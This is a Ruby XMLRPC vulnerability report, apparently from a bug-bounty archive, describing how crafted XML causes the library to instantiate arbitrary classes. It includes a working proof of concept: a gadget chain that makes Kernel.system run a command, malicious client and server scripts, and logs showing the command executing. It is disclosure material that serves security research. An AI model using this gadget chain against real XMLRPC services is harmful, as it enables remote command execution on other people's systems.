Loading HuntDB...

XMLRPC does not limit deserializable classes.

High
R
Ruby
Submitted None
Reported by ooooooo_q

Vulnerability Details

Technical details and impact analysis

Deserialization of Untrusted Data
I confirmed that the classes that can be generated by parsing the xml sent in the request or response by XMLRPC bundled in ruby are not restricted. https://github.com/ruby/xmlrpc/blob/v0.3.2/lib/xmlrpc/create.rb#L251 ```ruby if Config::ENABLE_MARSHALLING and param.class.included_modules.include? XMLRPC::Marshallable # convert Ruby object into Hash ret = {"___class___" => param.class.name} param.instance_variables.each {|v| ``` When converting parameters to XML, limited to those that include `XMLRPC::Marshallable`. https://github.com/ruby/xmlrpc/blob/v0.3.2/lib/xmlrpc/parser.rb#L104 ```ruby # Converts the given +hash+ to a marshalled object. # # Returns the given +hash+ if an exception occurs. def self.struct(hash) # convert to marshalled object klass = hash["___class___"] if klass.nil? or Config::ENABLE_MARSHALLING == false hash else begin mod = Module klass.split("::").each {|const| mod = mod.const_get(const.strip)} obj = mod.allocate hash.delete "___class___" hash.each {|key, value| obj.instance_variable_set("@#{ key }", value) if key =~ /^([a-zA-Z_]\w*)$/ } obj rescue hash end end end ``` However, there are no class restrictions when parsing. https://github.com/ruby/xmlrpc/blob/v0.3.2/lib/xmlrpc/config.rb#L27 ```ruby # enable marshalling Ruby objects which include XMLRPC::Marshallable ENABLE_MARSHALLING = true ``` `Config::ENABLE_MARSHALLING` is true by default so there is no limit to the classes that can be restored. --- ## PoC ### Prepare create `build_xml.rb` ```ruby require "xmlrpc/marshal" # Universal Deserialisation Gadget for Ruby 2.x-3.x # https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html # Autoload the required classes Gem::SpecFetcher Gem::Installer # Because the classes that can be dumped are limited class Array def include?(_) true end end wa1 = Net::WriteAdapter.new(Kernel, :system) rs = Gem::RequestSet.allocate rs.instance_variable_set('@sets', wa1) rs.instance_variable_set('@git_set', "date") wa2 = Net::WriteAdapter.new(rs, :resolve) i = Gem::Package::TarReader::Entry.allocate i.instance_variable_set('@read', 0) i.instance_variable_set('@header', "aaa") n = Net::BufferedIO.allocate n.instance_variable_set('@io', i) n.instance_variable_set('@debug_output', wa2) t = Gem::Package::TarReader.allocate t.instance_variable_set('@io', n) r = Gem::Requirement.allocate r.instance_variable_set('@requirements', t) creater = XMLRPC::Create.new call_xml = creater.methodCall("for_call", r) File.write('attack_call.xml', call_xml) response_xml = creater.methodResponse("for_response", r) File.write('attack_response.xml', response_xml) ``` ``` $ cat Gemfile # frozen_string_literal: true source "https://rubygems.org" gem 'xmlrpc', '~> 0.3.2' gem 'webrick', '~> 1.7' gem 'rack', '~> 2.2', '>= 2.2.3' $ bundle install ... $ bundle exec ruby build_xml.rb # create attack_call.xml and attack_response.xml ``` ### PoC for server attack ```ruby # craft_client.rb require "xmlrpc/client" server = XMLRPC::Client.new("localhost", "/RPC2", 8080) craft = File.read("./attack_call.xml") ok, param = server.send(:do_rpc, craft) if ok then puts "param: #{param}" else puts "Error:" puts param.faultCode puts param.faultString end ``` ```ruby # xmlrpc_server.rb require "webrick" require "xmlrpc/server" # required classes require 'net/http' Gem::Installer s = XMLRPC::WEBrickServlet.new s.add_handler("for_call") do |param| param.to_s end httpserver = WEBrick::HTTPServer.new(:Port => 8080) httpserver.mount("/RPC2", s) trap(:INT){httpserver.shutdown} httpserver.start ``` ``` ❯ bundle exec ruby craft_client.rb param: ``` ``` ❯ bundle exec ruby xmlrpc_server.rb [2021-05-09 20:49:35] INFO WEBrick 1.7.0 [2021-05-09 20:49:35] INFO ruby 2.7.1 (2020-03-31) [x86_64-darwin19] [2021-05-09 20:49:35] INFO WEBrick::HTTPServer#start: pid=48443 port=8080 sh: reading: command not found 2021年 5月 9日 日曜日 20時49分44秒 JST ::1 - - [09/May/2021:20:49:44 JST] "POST /RPC2 HTTP/1.1" 200 319 - -> /RPC2 ``` ### PoC for client attack ```ruby # xmlrpc_client.rb require "xmlrpc/client" # required classes Gem::Installer server = XMLRPC::Client.new("localhost", "/RPC", 8080) ok, param = server.call2("xxx", 4, 5) if ok then puts "param: #{param}" # call param.to_s else puts "Error:" puts param.faultCode puts param.faultString end ``` ```ruby # craft_server.rb require "webrick" httpserver = WEBrick::HTTPServer.new(:Port => 8080) httpserver.mount_proc('/RPC') do |req, res| res.body = File.read("./attack_response.xml") end trap(:INT){httpserver.shutdown} httpserver.start ``` ``` ❯ bundle exec ruby xmlrpc_client.rb sh: reading: command not found 2021年 5月 9日 日曜日 20時50分48秒 JST Traceback (most recent call last): ... ``` ``` ❯ bundle exec ruby craft_server.rb [2021-05-09 20:50:34] INFO WEBrick 1.7.0 [2021-05-09 20:50:34] INFO ruby 2.7.1 (2020-03-31) [x86_64-darwin19] [2021-05-09 20:50:34] INFO WEBrick::HTTPServer#start: pid=48570 port=8080 ::1 - - [09/May/2021:20:50:48 JST] "POST /RPC HTTP/1.1" 200 1679 - -> /RPC ``` ## Impact Unintentional classes are created by crafted XML on both the server and client. Whether RCE is possible depends on the implementation of the application. In order for the gadget chain for Marshal.load to work, need to find that the class is loaded and where methods such as `to_s` are called.

Report Details

Additional information and metadata

State

Closed

Substate

Informative

Submitted

Weakness

Deserialization of Untrusted Data